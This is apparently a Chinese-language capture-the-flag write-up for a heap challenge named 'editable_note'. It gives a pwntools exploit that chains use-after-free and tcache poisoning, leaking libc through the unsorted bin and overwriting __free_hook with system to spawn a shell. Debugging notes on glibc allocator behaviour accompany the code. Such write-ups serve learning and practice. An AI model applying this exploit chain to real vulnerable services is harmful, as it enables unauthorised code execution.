editable_note

艾我也喜欢攻破靶机的感觉。
题目:

add:

delete:

edit:

show:

这个题是典型的uaf + tache posioning
解题:
泄露libc:
通过unsorted bin泄露main_arena进而泄露Libc
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import * p = process('./vuln')
elf = ELF('./vuln') libc = elf.libc
def add(leng,color): p.sendlineafter('>','1') p.sendlineafter('Index:',str(leng)) p.sendlineafter('Size:',str(color)) def dele(id1): p.sendlineafter('>','2') p.sendlineafter('Index:',str(id1)) def show(id1): p.sendlineafter('>','4') p.sendlineafter('Index:',str(id1)) def edit(id1,name): p.sendlineafter('>','3') p.sendlineafter('Index:',str(id1)) p.sendafter('Content:',name)
for i in range(8): add(i,0x80)
for i in range(7): dele(i) gdb.attach(p) add(8,0x20) // 防止于top chunk合并 dele(7)
show(7)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) log.success(f"main_arena: {hex(main_arena)}") libcbase = main_arena - 0x1ecbe0 log.success(f"libcbase: {hex(libcbase)}") free_hook = libcbase + libc.sym['__free_hook'] system = libcbase + libc.sym['system'] log.success(f"libcbase: {hex(system)}") log.success(f"libcbase: {hex(free_hook)}")
|
这里先申请8个同样大小的chunk 七个用来填满tache bin 另一个用来释放进入unsorted bin
可以看到chunk7 的fd和bk都指向main_arena

🐖:
1
| add(8,0x20) // 防止于top chunk合并
|
最开始做的时候没有加这个
导致这个chunk 释放后会和top chunk合并 而不是进入unsorted bin::
1 2 3 4 5 6 7 8
| for i in range(8): add(i,0x80)
for i in range(7): dele(i) gdb.attach(p)
dele(7)
|

可以看到没有进入ub 且top chunk的地址发生了变化。

🐖:
1 2 3 4 5 6 7 8 9 10 11
| for i in range(8): add(i,0x80)
for i in range(7): dele(i)
add(8,0x20) dele(7)
dele(8)
|
这里好奇尝试了一下释放这个chunk8 但是他没有和top chunk合并。因为进入tache 的优先级高于top chunk 合并

uaf + posioning:
exp:
1 2 3 4 5 6 7 8 9 10 11
| add(9,0x20) /// add(10,0x20) ///
dele(8)
dele(9)
edit(10,b'/bin/sh\x00')
edit(9,p64(free_hook))
|
有点像double free

这里的0x690是chunk9 0x720是chunk8
tache是 LIFO(后进先出)

chunk9相当于头指针 chunk8是尾指针
这里修改chunk9的next指针就可以劫持tahce

exp:
1 2 3 4 5
| add(11,0x20) add(12,0x20) // __free_hook edit(12,p64(system)) dele(10) //触发system(/bin/sh) p.interactive()
|
这样就打通了。
🐖:
在调试的时候发现重新申请chunk的时候会优先用unsortedbin部分的chunk
1 2 3 4 5 6 7 8
| add(9,0x20) ///1 add(10,0x20) add(11,0x20) ///2
add(12,0x20) ///3 gdb.attach(p) add(13,0x20)
|
初始状态:

1:

2:

可以看到glibc优先分配的是unsortedbin中的chunk
3:

unsortedbin分配完后 会从top chunk中分割。